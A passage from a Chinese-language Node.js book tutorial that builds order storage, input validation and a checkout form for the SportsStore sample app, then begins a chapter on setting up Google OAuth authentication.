        storeOrder(order: Order): Promise<Order> {
            return  this.sequelize.transaction(async (transaction) => {
                const { id, shipped } = order;
                const [stored] =
                    await OrderModel.upsert({ id, shipped }, {transaction});

                if (order.customer) {
                    const [{id}] = await CustomerModel.findOrCreate({
                        where: { email: order.customer.email},
                        defaults: order.customer,
                        transaction
                    });
                    stored.customerId = id;
                }
                if (order.address) {

                    const [{id}] = await AddressModel.findOrCreate({
                        where: { ...order.address },
                        defaults: order.address,
                        transaction
                    });
                    stored.addressId = id;
                }
                await stored.save({transaction});
                if (order.selections) {
                    const sels = await ProductSelectionModel.bulkCreate(
                        order.selections, { transaction});
                    await stored.setSelections(
                        sels, { transaction });
                }
                return stored;
            });
        }
    }
} 

使用 Sequelizeupsert 方法来更新或创建订单、客户和地址数据。产品选择使用 bulkCreate 方法存储,该方法允许在单个操作中存储多行,并使用 mixin setSelections 方法将存储的产品选择与订单关联。这些操作都在同一事务中执行,以确保数据一致性。清单 18.12 使用 JavaScript mixin 功能将订单功能合并到仓库类中。

清单 18.12:在 src/data/orm 文件夹中的 index.ts 文件中添加订单

import { BaseRepo } from "./core";
import { AddQueries } from "./queries";
import { AddStorage } from "./storage";
**import { AddOrderQueries** **} from "./order_queries";**
**import { AddOrderStorage } from "./order_storage";**
**const CatalogRepo = AddStorage(****AddQueries(BaseRepo));**
**const RepoWithOrders = AddOrderStorage(AddOrderQueries(CatalogRepo));**
**export const CatalogRepoImpl** **= RepoWithOrders;** 

从本模块导出的 CatalogRepoImpl 类实现了 CatalogRepositoryOrderRepository 接口所需的方法。尽管单个类实现了所有仓库方法,但我更喜欢将功能单独呈现给应用程序的其他部分,如 清单 18.13 所示。

清单 18.13:在 src/data 文件夹中的 index.ts 文件中创建仓库

import { CatalogRepository } from "./catalog_repository";
import { CatalogRepoImpl} from "./orm";
**import { OrderRepository } from "./order_repository";**
**const repo =** **new CatalogRepoImpl();**
**export const catalog_repository: CatalogRepository = repo;**
**export const order_repository: OrderRepository** **= repo;** 

TypeScript 类型注解将确保此模块导出的每个常量都只呈现由仓库接口之一定义的方法。

实现订单流程

现在数据模型扩展到描述和存储订单数据,下一步是创建允许创建和存储订单的工作流程。

验证数据

创建订单的过程需要用户数据,这些数据在使用和存储之前将进行验证。要安装验证包及其 TypeScript 描述,请在 sportsstore 文件夹中运行 清单 18.14 中显示的命令。

清单 18.14:安装验证包

npm install validator@13.11.0
npm install --save-dev @types/validator@13.11.5 

这些包在 表 18.1 中进行了描述,以便快速参考。

表 18.1:验证包

名称 描述

|

`validator` 
此包包含常见数据类型的验证器。

|

`@types/validator` 
此包包含验证器 API 的 TypeScript 描述。

要启动验证功能,创建 src/data/validation 文件夹,并向其中添加一个名为 validation_types.ts 的文件,其内容如 清单 18.15 所示。

清单 18.15:src/data/validation 文件夹中 validation_types.ts 文件的内容

export class ValidationStatus {
    private invalid: boolean = false;
    constructor(public readonly value: any) {}
    get isInvalid() : boolean  {
        return this.invalid
    }
    setInvalid(newValue: boolean) {
        this.invalid = newValue || this.invalid;
    }

    messages: string[] = [];
}
export type ValidationRule = (status: ValidationStatus)
    => void | Promise<void>;
export type ValidationRuleSet<T> = {
    [key in keyof Omit<Required<T>, "id">]: ValidationRule | ValidationRule[];
}
export type ValidationResults<T> = {
    [key in keyof Omit<Required<T>, "id">]: ValidationStatus;
} 

ValidationStatus 类表示单个模型属性的验证状态,这将允许规则验证数据。ValidationRule 类型描述了一个接收 ValidationStatus 对象并验证其定义的数据值的规则。可以使用 ValidationStatus 类定义的 setInvalid 方法设置值的有效性,该方法锁定值,一旦值被标记为 invalid,则无法通过另一个规则返回到 valid 状态。

ValidationRuleSet<T> 类型描述了应用于模型类 T 的规则集。模型类定义的每个属性都必须至少有一个验证规则。

ValidationResults<T> 类型描述了模型对象的验证结果,为每个模型属性定义了一个 ValidationStatus 对象。

ValidationRuleSet<T>ValidationResults<T> 类型使用 TypeScript 实用类型来描述模型验证要求和结果的表示方式:

...
 [key in keyof **Omit<Required<T>, "id">**]: ValidationRule | ValidationRule[];
... 

这个咒语告诉 TypeScript 编译器,对于类型 T 定义的每个属性,包括可选属性,都需要属性,除了名为 id 的属性。TypeScript 提供了一系列有用的实用类型(在 www.typescriptlang.org/docs/handbook/utility-types.html 中描述),可以用来描述一个类型如何与另一个类型相关联,在这种情况下,效果是验证要求和结果都是全面的。

将名为 validator.ts 的文件添加到 src/data/validation 文件夹中,其内容如 列表 18.16 所示。

列表 18.16:src/data/validation 文件夹中 validator.ts 文件的内容

import { ValidationResults, ValidationRule, ValidationRuleSet,
    ValidationStatus } from "./validation_types";
export class Validator<T>{
    constructor(public rules: ValidationRuleSet<T>,
        public breakOnInvalid = true) {}
        async validate(data: any): Promise<ValidationResults<T>> {
            const vdata = Object.entries(this.rules).map(async ([key, rules]) => {
                const status = new ValidationStatus(data?.[key] ?? "");
                const rs = (Array.isArray(rules) ? rules: [rules]);
                for (const r of rs) {
                    if (!status.isInvalid || !this.breakOnInvalid) {
                        await r(status);
                    }
                }
                return [key, status];
            });
            const done = await Promise.all(vdata);
            return Object.fromEntries(done);
        }
    validateOriginal(data: any): ValidationResults<T> {
        const vdata = Object.entries(this.rules).map(([key, rules]) => {
            const status = new ValidationStatus(data?.[key] ?? "");
            (Array.isArray(rules) ? rules: [rules])
                .forEach(async (rule: ValidationRule) => {
                    if (!status.isInvalid || !this.breakOnInvalid) {
                        await rule(status);
                    }
            });
            return [key, status];
        });
        return Object.fromEntries(vdata);
    }
}
export function isValid<T>(result: ValidationResults<T>) {
    return Object.values<ValidationStatus>(result)
        .every(r => r.isInvalid === false);
}
export function getData<T>(result: ValidationResults<T>): T {
    return Object.fromEntries (Object.entries<ValidationStatus>(result)
        .map(([key, status]) => [key, status.value])) as T;
} 

Validator<T> 类为模型类型 T 提供验证。构造函数参数是一个 ValidationRuleSet<T> 值,它提供了要应用的规则,以及一个 boolean 参数,指定是否在规则报告值无效后停止对属性的验证,或者是否继续应用所有规则。

validate 方法接受一个要验证的值,应用规则,并构建一个描述结果的 ValidationResult<T> 对象。列表 18.16 包含一个名为 isValid 的实用函数,该函数检查为值产生的验证结果,并确定所有属性是否有效。getData 方法从验证结果中提取数据,这将用于确保应用程序只使用已定义验证规则和通过验证的属性。

定义验证规则

要为属性创建基本的验证规则,请将名为 basic_rules.ts 的文件添加到 src/data/validation 文件夹中,其内容如 列表 18.17 所示。

列表 18.17:src/data/validation 文件夹中 basic_rules.ts 文件的内容

import validator from "validator";
import { ValidationStatus } from "./validation_types";
export const minLength = (min: number) => (status: ValidationStatus) => {
    if (!validator.isLength(status.value, { min })) {
        status.setInvalid(true);
        status.messages.push(`Enter at least ${min} characters`);
    }
};
export const email = (status: ValidationStatus) => {
    if (!validator.isEmail(status.value)) {
        status.setInvalid(true);
        status.messages.push("Enter an email address");
    }
};
export const required = (status: ValidationStatus) => {
    if (validator.isEmpty(status.value.toString(), { ignore_whitespace: true})) {
        status.setInvalid(true);
        status.messages.push("A value is required");
    }
};
export const no_op = (status: ValidationStatus) => { /* do nothing */ } 

minLengthemailrequired 函数确保值具有最小长度,是格式正确的电子邮件地址,并且值不是未定义或空字符串。所有三个函数都使用了 validator 包提供的功能。no_op 函数不执行任何验证,是要求模型类定义的每个属性(除了 id 属性)都需要验证规则的结果:某些属性可能不需要验证,但必须包含在验证配置中,而 no_op(简称为 no operation)函数可以用来实现这一点。

为了描述用户将为订单提供的数据的验证要求,将名为order_rules.ts的文件添加到src/data/validation文件夹中,其内容如清单 18.18所示。

清单 18.18:src/data/validation 文件夹中 order_rules.ts 文件的内容

import { Validator } from "./validator";
import { required, minLength, email, no_op } from "./basic_rules";
import { Address } from "../order_models";
import { Customer } from "../customer_models";
export const CustomerValidator = new Validator<Customer>({
    name: [required, minLength(6)],
    email: email
});
export const AddressValidator = new Validator<Address>({
    street: required,
    city: required,
    state: required,
    zip: no_op
}); 

清单 18.18定义了CustomerAddress模型类型的验证规则,这些规则将与用户购物车的内容结合以创建订单。请注意,地址的zip属性使用no_op规则,这告诉验证器该属性是可选的,没有特定的验证要求。

这是一种比我在本书第二部分中使用的方法更全面的定义验证方式,因为它使用 TypeScript 确保为每个类型定义的每个属性指定验证要求,除了id属性,我已省略,因为我通常希望让数据库确定对象所需的 ID。

当客户端提供 id 值时,我将将其与其他数据分开进行验证。为了完成验证功能,将名为index.ts的文件添加到src/data/validation文件夹中,其内容如清单 18.19所示。

清单 18.19:src/data/validation 文件夹中 index.ts 文件的内容

export * from "./validation_types";
export * from "./validator";
export * from "./basic_rules";
export * from "./order_rules"; 

此文件仅导出验证文件夹中其他文件的内容,以便其余应用程序更容易消费这些内容。

创建 HTTP 处理器

下一步是定义将用于完成订单流程的三个 HTTP 处理器:一个渲染用于收集用户详情的 HTML 表单的GET处理器,一个接收并验证用户详情的POST处理器,以及一个在订单完成后显示总结信息的GET处理器。将名为orders.ts的文件添加到src/routes文件夹中,其内容如清单 18.20所示。

清单 18.20:src/routes 文件夹中 orders.ts 文件的内容

import { Express } from "express";
import { Address } from "../data/order_models";
import { AddressValidator, CustomerValidator, ValidationResults, getData, isValid }
    from "../data/validation";
import { Customer } from "../data/customer_models";
import { createAndStoreOrder } from "./order_helpers";
declare module "express-session" {
    interface SessionData {
       orderData?: {
            customer?: ValidationResults<Customer>,
            address?: ValidationResults<Address>
       }
    }
}
export const createOrderRoutes = (app: Express) => {
    app.get("/checkout", (req, resp) => {
        resp.render("order_details", {
            order: req.session.orderData,
        });
    });
    app.post("/checkout", async (req, resp) => {
        const { customer, address } = req.body;
        const data = req.session.orderData = {
            customer: await CustomerValidator.validate(customer),
            address: await AddressValidator.validate(address)
        };
        if (isValid(data.customer) && isValid(data.address)
                && req.session.cart) {
            const order = await createAndStoreOrder(
                getData(data.customer), getData(data.address), req.session.cart
            )
            resp.redirect(`/checkout/${order.id}`);
            req.session.cart = undefined;
            req.session.orderData = undefined;
        } else {
            resp.redirect("/checkout");
        }
    });
    app.get("/checkout/:id", (req, resp) => {
        resp.render("order_complete", {id: req.params.id});
    })
} 

declare语句告诉 TypeScript,会话将用于使用名称orderData存储一个对象,其中包含customeraddress属性,其值是验证结果。

第一个处理器接受发送到/checkout URL 的GET请求,并通过渲染名为order_details的模板来响应,将存储在会话中的customeraddress数据作为上下文数据传递。

此模板渲染 HTML 表单,当用户第一次发送GET请求时,表单将是空的,因为会话中尚未存储任何客户或地址数据。

第二个处理器接受发送到/checkout URL 的POST请求,从请求中读取客户和地址数据并进行验证,如下所示:

... 
const data = req.session.orderData = {
    customer: await CustomerValidator.**validate**(customer),
    address: await AddressValidator.**validate**(address)
};
... 

在此语句中使用的through赋值确保验证结果存储在会话中,并存储在一个名为data的本地常量中,以便于使用。

如果数据无效,重定向到 /checkout URL 将渲染表单,但这次,模板将显示验证数据以向用户提供反馈。

如果数据有效,则通过调用一个名为 createAndStoreOrder 的函数来创建订单,该函数在 清单 18.21 中定义,并将客户和地址数据与用户的购物车内容结合起来创建和存储订单。传递给 createAndStoreOrder 函数的数据是从验证结果中提取的,如下所示:

...
const order = await createAndStoreOrder(
    **getData**(data.customer), **getData**(data.address), req.session.cart
)
... 

这确保了只使用由模型类型定义的属性,这也是为什么本章早期定义的验证类型需要为每个模型属性提供验证信息的原因之一。一旦订单被存储,就会执行重定向到第三个处理器的操作,该操作在 URL 中包含订单 ID,并可用于向用户显示确认消息。cart、客户和地址数据从会话中删除,以便用户可以重新开始购物。

要定义一个组合客户、地址和购物车数据并存储订单的函数,请将一个名为 order_helpers.ts 的文件添加到 src/routes 文件夹中,其内容如 清单 18.21 所示。

清单 18.21src/routes 文件夹中 order_helpers.ts 文件的内容

import { catalog_repository, order_repository } from "../data";
import { Cart } from "../data/cart_models"
import { Customer } from "../data/customer_models"
import { Address, Order } from "../data/order_models"
export const createAndStoreOrder = async (customer: Customer,
        address: Address, cart: Cart): Promise<Order> => {
    const product_ids = cart.lines.map(l => l.productId) ?? [];
    const product_details = Object.fromEntries((await
        catalog_repository.getProductDetails(product_ids))
            .map(p => [p.id ?? 0, p.price ?? 0]));
    const selections = cart.lines.map(l => ({
        productId: l.productId, quantity: l.quantity,
        price: product_details[l.productId]}));
    return order_repository.storeOrder({   
        customer,address,
        selections, shipped: false
    });
} 

示例应用程序通常试图避免合并和格式化数据的混乱现实,但这是每个项目中都应该预期的。在这种情况下,购物车数据必须与产品价格匹配,这是一个尴尬的过程,需要编写尴尬的代码。

当你意识到你拥有的数据不是你需要的数据,并且需要额外的查询和转换时,常常会有一个“哦,不!”的时刻。可能会诱使你回到数据模型中平滑处理粗糙的边缘,但我的建议是不要这样做,因为这只会把问题拆散,使得没有一个数据模型完全适合其目的,这会在各个地方留下一些尴尬的部分。相反,我的偏好是定义每个模型,使其适合它所服务的应用程序部分,并接受在应用程序的一个部分的数据被弯曲成另一个部分所需的形状时,会有一些压力点。清单 18.22 启用了所需的订单路由。

清单 18.22:在 src/routes 文件夹中的 index.ts 文件中启用路由

import { Express } from "express";
import { createCatalogRoutes } from "./catalog";
import { createCartMiddleware, createCartRoutes } from "./cart";
**import { createOrderRoutes } from "./orders";**
export const createRoutes = (app: Express) => {
    createCartMiddleware(app);
    createCatalogRoutes(app);
    createCartRoutes(app);
   ** createOrderRoutes(app);**
} 

创建模板和辅助函数

需要新的模板辅助函数来渲染订单表单。将一个名为 order_helpers.ts 的文件添加到 src/helpers 文件夹中,其内容如 清单 18.23 所示。

清单 18.23src/helpers 文件夹中 order_helpers.ts 文件的内容

export const toArray = (...args: any[]) => args.slice(0, -1);
export const lower = (val: string) => val.toLowerCase();
export const getValue = (val: any, prop: string) =>
    val?.[prop.toLowerCase()] ?? {};
export const get = (val: any) => val ?? {}; 

每个辅助函数的用途将在使用时进行解释,但它们都操作数据值,因此可以包含在模板输出中。清单 18.24 启用了新的辅助函数。

清单 18.24:在 src/helpers 文件夹中的 index.ts 文件中添加辅助函数

import { Express } from "express";
import { getConfig } from "../config";
import { engine } from "express-handlebars";
import * as env_helpers from "./env";
import * as catalog_helpers from "./catalog_helpers";
import * as cart_helpers from "./cart_helpers";
**import * as order_helpers from "./order_helpers";**
const location = getConfig("templates:location");
const config = getConfig("templates:config");
export const createTemplates = (app: Express) => {
    app.set("views", location);
    app.engine("handlebars", engine({
        ...config,
       ** helpers: {...env_helpers, ...catalog_helpers, ...cart_helpers,**
 **...order_helpers}**
    }));
    app.set("view engine", "handlebars");
} 

从最简单的模板开始,将一个名为 order_complete.handlebars 的文件添加到 templates 文件夹中,其内容如 列表 18.25 所示。

列表 18.25:模板文件夹中 order_complete.handlebars 文件的内容

<div class="text-center m-2">
    <h2>Thanks!</h2>
    <p>Thanks for placing order #{{ id }}</p>
    <p>We'll ship your goods as soon as possible.</p>
    <a class="btn btn-primary" href="/">Return to Store</a>
</div> 

此模板在订单已创建后显示一个简单的确认消息,其中包含订单 ID 值。其余模板与用于收集客户和地址数据的表单以及呈现验证反馈相关。将一个名为 validation_messages.handlebars 的文件添加到 templates 文件夹中,其内容如 列表 18.26 所示。

列表 18.26:模板文件夹中 validation_messages.handlebars 文件的内容

{{#each this }}
    <div class="text-danger">{{ this }}</div>
{{/each }} 

模板将接收一个字符串数组,这些字符串使用 each 表达式显示,使用 this 引用当前字符串值。要创建用户姓名和电子邮件地址的表单元素,这些元素对于 Customer 数据是必需的,请将一个名为 order_details_customer.handlebars 的文件添加到 templates 文件夹中,其内容如 列表 18.27 所示。

列表 18.27:模板文件夹中 order_details_customer.handlebars 的内容

<div class="m-2">
    <h3>Your details:</h3>
    <div class="form-group">
        <label>Name:</label>
        {{#with (get order.customer.name) }}
            <input name="customer[name]" class="form-control"
                value="{{ value }}">
            {{#if invalid}}
                {{> validation_messages messages }}
            {{/if }}
        {{/with }}
    </div>
        <div class="form-group">
        <label>Email:</label>
        {{#with (get order.customer.email)}}
            <input name="customer[email]" class="form-control"
                value="{{ value }}">
            {{#if invalid }}
                {{> validation_messages messages }}
            {{/if }}
        {{/with}}
    </div>
</div> 

该模板为每个值重复相同的元素集,并依赖于需要解释的模板引擎功能和辅助工具。

内置的 with 辅助工具用于更改上下文,这可以简化嵌套表达式,如下所示:

...
{{#with **order.customer.name** }}
    <input name="customer[name]" class="form-control" value="{{ **value** }}">
... 

with 辅助工具用于将上下文更改为 order.customer.name 值,因此 value 表达式被评估为 order.customer.name.value。如果 with 辅助工具的表达式未定义,则它不会渲染内容,这在模板第一次渲染时会出现问题,因为用户的会话在表单第一次评估之后才包含此值。为了解决这个问题,使用了 列表 18.23 中定义的 get 辅助工具,如下所示:

...
{{#with (**get order.customer.name**) }}
... 

括号表示一个子表达式,模板引擎将其评估为 with 辅助工具的参数。如果未定义值,get 辅助工具返回一个空对象,这确保了 with 辅助工具包含的内容始终被渲染。

要创建用户地址的表单元素,请将一个名为 order_details_address.handlebars 的文件添加到 templates 文件夹中,其内容如 列表 18.28 所示。

列表 18.28:模板文件夹中 order_details_address.handlebars 的内容

<div class="m-2">
    <h3>Ship to:</h3>       
    {{#each (toArray "Street" "City" "State" "Zip") }}
        {{#with (getValue ../order.address this) }}
            <div class="form-group">
                <label>{{ ../this }}:</label>
                <input name="address[{{lower ../this}}]" class="form-control"
                    value="{{value}}">
            </div>
            {{#unless valid}}
                {{> validation_messages messages }}
            {{/unless}}
        {{/with}}
    {{/each}}
</div> 

与之前的模板不同,该模板使用数组中的值以编程方式生成元素:

...
{{#each (toArray "Street" "City" "State" "Zip") }}
... 

内置的 each 辅助工具重复内容部分,但不支持字面数组。这个问题通过 toArray 辅助工具得到解决,它接受一系列参数并将它们组合成一个可以由 each 辅助工具处理的数组。

内置的with辅助函数用于将上下文更改为每个表单字段所需的数据值。getValue辅助函数用于为with辅助函数生成值,这是通过在源对象上查找属性来完成的。with辅助函数更改了上下文,但仍然可以通过使用导航表达式从原始数据中获取值,如下所示:

...
<input name="address[{{lower ..**/this**}}]" class="form-control" value="{{value}}">
... 

lower辅助函数用于设置input元素的名称,该名称使用方括号结构化,以便在服务器从 HTTP 请求中读取时将相关值分组。整体效果是创建名称为address[street]address[city]address[state]address[zip]的元素,这些元素将被传递到一个名为address的 JavaScript 对象中,该对象具有streetcitystatezip属性。

要合并客户和地址模板,在templates文件夹中创建一个名为order_details.handlebars的文件,内容如图列表 18.29所示。

列表 18.29:templates 文件夹中 order_details.handlebars 文件的内容

<form method="post" action="/checkout">
    {{> order_details_customer }}
    {{> order_details_address }}

    <div class="m-2">
        <button type="submit" class="btn btn-primary">Place Order</button>
        <a href="/cart" class="btn btn-primary">Back</a>
    </div>
</form> 

当用户点击提交订单按钮时,form元素向/checkout URL 发送POST请求。还有一个样式设置为按钮的链接,将用户引导回购物车。

使用浏览器请求http://localhost:5000,将商品添加到购物车,并点击结账按钮,这将引导应用程序展示订单详情表单。点击提交订单按钮以查看验证错误。要完成订单,填写表单并点击提交订单按钮。整个过程如图图 18.2所示。

图 18.2:创建订单

修复返回 URL

在目录中,用户对类别、页面和页面大小的偏好通过查询字符串来保留,但当数据保存在会话中而不是在结账时,这些偏好就会丢失。我对保留类别和页面不太关心,因为它们是临时选择,但我希望保留页面大小,以便在用户完成订单或取消订单流程时使用。

我可以将所有用户的选择保存在会话中或在整个订单流程中使用查询字符串,但我希望保留这些不同的方法,因为它们展示了解决类似问题的不同方式。考虑到这一点,我将在订单流程开始时将用户首选的页面大小保存在会话中,并在生成将用户返回目录的 URL 时使用该值。

第一步是在用户从购物车过渡到订单流程时将页面大小作为会话数据存储,如图列表 18.30所示。

列表 18.30:在 src/routes 文件夹中的 orders.ts 文件中存储页面大小

import { Express } from "express";
import { Address } from "../data/order_models";
import { AddressValidator, CustomerValidator, ValidationResults, getData, isValid }
    from "../data/validation";
import { Customer } from "../data/customer_models";
import { createAndStoreOrder } from "./order_helpers";
declare module "express-session" {
    interface SessionData {
       orderData?: {
            customer?: ValidationResults<Customer>,
            address?: ValidationResults<Address>
       },
      ** pageSize?: string;**
    }
}
export const createOrderRoutes = (app: Express) => {
    app.get("/checkout", (req, resp) => {
        **req.session.pageSize** **=**
 **req.session.pageSize ?? req.query.pageSize?.toString() ?? "3";**
        resp.render("order_details", {
            order: req.session.orderData,
            **page: 1,**
 **pageSize: req.session.pageSize**
        });
    });
    app.post("/checkout", async (req, resp) => {
        const { customer, address } = req.body;
        const data = req.session.orderData = {
            customer: await CustomerValidator.validate(customer),
            address: await AddressValidator.validate(address)
        };
        if (isValid(data.customer) && isValid(data.address)
                && req.session.cart) {
            const order = await createAndStoreOrder(
                getData(data.customer), getData(data.address),
                    req.session.cart
            )
            resp.redirect(`/checkout/${order.id}`);
            req.session.cart = undefined;
            req.session.orderData = undefined;
        } else {
            resp.redirect("/checkout");
        }
    });
    app.get("/checkout/:id", (req, resp) => {
        resp.render("order_complete", {
            id: req.params.id,
            **pageSize****: req.session.pageSize ?? 3**
        });
    })
} 

列表 18.31将返回 URL 添加到用户点击以离开购物车摘要的锚点元素的 target 中。

列表 18.31:在模板文件夹中的 cart.handlebars 文件中添加 URL

<h2>Your cart</h2>
<table class="table table-bordered table-striped">
    <thead>
        <tr>
            <th class="text-end">Quantity</th><th>Item</th>
            <th class="text-end">Price</th><th class="text-end">Subtotal</th>
            <th></th>
        </tr>
    </thead>
    <tbody>
        {{#unless cart.lines}}
            <tr><td colspan="5" class="text-center">Cart is empty</td></tr>
        {{/unless}}
        {{#each cart.lines}}
            {{> cart_line returnUrl=../returnUrl }}       
        {{/each }}
    </tbody>
    <tfoot>
        <tr>
            <td colspan="3" class="text-end">Total:</td>
            <td class="text-end">{{ currency cart.total }}</td>
        </tr>
    </tfoot>
</table>
<div class="text-center">
    <a class="btn btn-primary" href="{{ returnUrl }}">Continue Shopping</a>
    {{#if cart.lines}}
        **<a class="btn btn-primary" href="/checkout{{returnUrl}}">Checkout</a>**
    {{else}}
        <button class="btn btn-primary" disabled>Checkout</button>
    {{/if}}
</div> 

列表 18.32 将返回 URL 添加到“订单详情”页面上的“返回”按钮。

列表 18.32:在模板文件夹中的 order_details.handlebars 文件中添加 URL

<form method="post" action="/checkout">
    {{> order_details_customer }}
    {{> order_details_address }}

    <div class="m-2">
        <button type="submit" class="btn btn-primary">Place Order</button>
        **<a** **href="/cart?returnUrl={{ escapeUrl (navigationUrl )}}"**
 **class="btn btn-primary">Back</a>**
    </div>
</form> 

最后一步是添加用户点击以返回目录的按钮的 URL,如图列表 18.33所示。

列表 18.33:在模板文件夹中的 order_complete.handlebars 文件中添加 URL

<div class="text-center m-2">
    <h2>Thanks!</h2>
    <p>Thanks for placing order #{{ id }}</p>
    <p>We'll ship your goods as soon as possible.</p>
   ** <a class="btn btn-primary"** **href="/?page=1&pageSize={{pageSize}}">**
        Return to Store
    </a>
</div> 

使用浏览器请求http://localhost:5000并将页面大小更改为6个项目。将商品添加到购物车并完成订单。点击订单摘要中显示的“返回商店”按钮,当目录显示时页面大小将被保留,如图图 18.3所示。

图 18.3:修复返回 URL

摘要

在本章中,我继续开发 SportsStore 应用程序,通过添加订单支持。

  • 订单的数据模型通过一个独立的仓库接口展示,但使用的是ORM mixin类来实现。

  • 订单数据存储在与目录相同的数据库中,这简化了数据一致性并使得使用事务进行更新变得更容易。

  • 在存储之前,会验证用户提供的数据。

  • 验证系统依赖于 TypeScript 来确保所有数据模型属性都定义了规则。

  • 会话功能用于在结账过程中存储用户的分页偏好设置。

在下一章中,我将添加支持用户使用他们的 Google 账户进行身份验证的功能,这是通过OAuth协议完成的。

第十九章:SportsStore:身份验证

在本章中,我将使用 OAuth 协议允许用户使用他们的 Google 账户来识别他们自己到SportsStore应用程序,而不是手动输入他们的联系信息。

准备本章内容

本章使用第十八章中的sportsstore项目。本章不需要进行任何更改。打开一个新的命令提示符,导航到sportsstore文件夹,并运行列表 19.1中显示的命令以启动开发工具。

提示

你可以从github.com/PacktPublishing/Mastering-Node.js-Web-Development下载本章的示例项目——以及本书中所有其他章节的示例项目。如果你在运行示例时遇到问题,请参阅第一章了解如何获取帮助。

列表 19.1:启动开发工具

npm start 

打开一个新的浏览器窗口,导航到http://localhost:5000,你将看到产品目录,如图 19.1 所示。

图 19.1:运行应用程序

理解 OAuth 身份验证过程

OAuth 允许用户在不向该应用程序提供凭证的情况下授予应用程序访问他们数据的权限。在开发过程中,开发者将他们的应用程序注册到 OAuth 身份验证服务中,并接收一个用于识别应用程序给服务的 ID,以及一个用于在应用程序和服务之间签名和验证消息的秘密。

注册过程建立了应用程序和身份验证服务之间的关系。注册是一次性完成的,并在应用程序部署之前执行。可能需要进行一定程度的审查。SportsStore 应用程序使用 Google OAuth 服务,这使得其基本功能(如本章中使用的功能)立即可用,但在访问更敏感数据之前会审查应用程序,这可能需要几天或几周的时间才能完成。

一旦应用程序部署完成,用户将看到一个按钮,该按钮提供他们使用身份验证提供者登录应用程序或授予应用程序访问提供者存储的数据的选项。图 19.2展示了本章后面添加到 SportsStore 应用程序中的简单示例按钮,该按钮授予应用程序访问用户的基本信息,例如他们的姓名和电子邮件地址。

图 19.2:将被添加到 SportsStore 应用程序中的 OAuth 按钮

当用户点击按钮时,浏览器将重定向到一个以开始身份验证过程的 URL。用户将被提示输入他们的凭据,这些凭据不会显示给应用程序。身份验证过程将向用户显示他们正在登录的应用程序以及应用程序请求的数据。图 19.3 展示了在本书本章后面配置 OAuth 后,将向 SportsStore 的用户显示的身份验证提示。

图 19.3:使用 OAuth 服务进行身份验证

一旦用户完成身份验证,他们的浏览器将使用包含访问代码的 URL 重定向回应用程序。应用程序将直接向 Google 发送 HTTP 请求,并交换访问代码以获取所需的数据。

理解 OAuth 的优势

从用户的角度来看,OAuth 允许他们使用应用程序和服务,而无需在每个应用程序上创建账户或重复输入相同的详细信息。从开发者的角度来看,OAuth 允许在不实现和管理密码恢复、双因素认证等工作流程的情况下进行身份验证。

这些优势适用于使用大型科技和社交媒体公司提供的 OAuth 服务。还有一些 OAuth 服务,您可以用来仅管理您应用程序的用户账户,在这种情况下,用户仍然需要创建账户,但身份验证过程和工作流程由 OAuth 提供商实现。最受欢迎的服务是 auth0.com,但还有其他选择,大多数提供免费和付费的服务级别。

理解 OAuth 的限制

用户并不总是愿意将他们的账户数据与一个应用程序关联。这可能是因为他们不相信该应用程序,或者他们不希望他们的账户与某些类型的内容关联。例如,如果您提供任何形式的成人内容,您可能会发现用户不愿意使用 OAuth。

从开发者的角度来看,OAuth 的主要限制是初始设置的复杂性。即使有良好的身份验证包,如本章中使用的,OAuth 也很少不需要调整就能工作,找出身份验证为何不工作可能是一个缓慢且令人困惑的任务。

创建 Google OAuth 凭据

有许多 OAuth 提供商,但最广泛使用的是由主要科技公司提供的,包括 Google 和 Facebook,因为这些是大多数用户已经拥有的账户。对于 SportsStore 应用程序,我将使用 Google OAuth 服务,但其他提供商的过程类似。

获取外部身份验证的帮助

我在本章中描述的设置过程在写作时是正确的,但在你阅读本章时可能会发生变化。谷歌定期修订其开发者门户,你可能会发现功能有不同的名称或以不同的方式排列。变化可能很小,但每个身份验证服务都提供了开发者文档,这些文档应该能为你指明正确的方向。

请不要通过电子邮件向我寻求帮助设置外部身份验证。我尽量帮助读者解决大多数问题,但解决外部身份验证问题需要登录读者的谷歌账户,而这是我不会做的,即使是专门为SportsStore应用程序创建的账户。

要开始,请导航到 console.developers.google.com,使用谷歌账户登录,并执行以下步骤:

  1. 点击OAuth 同意屏幕,然后点击创建项目

  2. 在项目名称字段中输入SportsStore,然后点击创建按钮。

  3. 对于用户类型选择外部,然后点击创建按钮。

  4. 应用名称字段中输入SportsStore,在电子邮件字段中输入你的谷歌账户电子邮件地址,然后点击保存并继续按钮。其他字段可以留空。

  5. 点击添加或删除作用域,然后检查以下选项(以及其他选项):

    • .../auth/userinfo.email

    • .../auth/userinfo.profile

    • Openid

  6. 点击更新按钮,然后点击保存并继续按钮以进入测试用户部分。

  7. 测试用户部分不做任何更改的情况下,点击保存并继续按钮。

  8. 点击返回仪表板以返回到OAuth 同意屏幕页面。

该部分流程的基本流程如图 19.4 所示。

图片 B21959_19_04.png

图 19.4:创建和配置应用程序

发布应用

点击发布应用按钮,你将收到一个提示,要求你确认推送到生产环境,如图 19.5 所示。如果你已经按照上一节所述配置了应用程序,则提示应告知你应用程序不需要提交进行验证。点击确认按钮以发布应用程序。

图片 B21959_19_05.png

图 19.5:推送至生产环境的提示

创建客户端 ID 和客户端密钥

最后一步是创建用于配置OAuth的两个值:客户端 ID,这是SportsStore应用程序将用于向谷歌标识自己的,以及客户端密钥,它将用于签名和验证谷歌生成的数据。执行以下步骤:

  1. 在谷歌开发者仪表板中点击凭证

  2. 点击创建凭证,然后从弹出菜单中选择OAuth 客户端 ID

  3. 应用程序类型菜单中选择Web 应用程序,并在名称字段中输入SportsStore

  4. 授权 JavaScript 来源部分不需要进行任何更改。

  5. 授权重定向 URI部分点击添加 URI按钮,并添加http://localhost:5000/signin-googlehttps://localhost/signin-google

  6. 点击创建按钮。

  7. 从弹出摘要中复制客户端 ID客户端密钥值,并安全地存储它们。每个值旁边都有一个复制按钮,确保所有字符都被正确复制。

  8. 点击确定按钮关闭摘要弹出窗口。

在过程结束时,你将有两个值需要添加到sportsstore文件夹中的development.env文件中,如清单 19.2所示。(此清单显示占位符值。你必须用从 Google 门户获取的值替换这些值,以便示例能够工作。)

使用本地重定向 URL

步骤 5 中使用的授权重定向 URL 使用localhost作为主机名,这意味着一旦完成身份验证,客户端将被告知重定向到本地机器。这对于 SportsStore 应用程序很有用,其中浏览器和服务器在相同的机器上运行。对于真实项目,你必须使用指向你的项目的公共 URL,这可以通过用户的浏览器解析。这需要域名注册,这就是为什么 SportsStore 使用 localhost 的原因。

列表 19.2:在 sportsstore 文件夹中的 development.env 文件中存储密钥

# secret used to sign session cookies
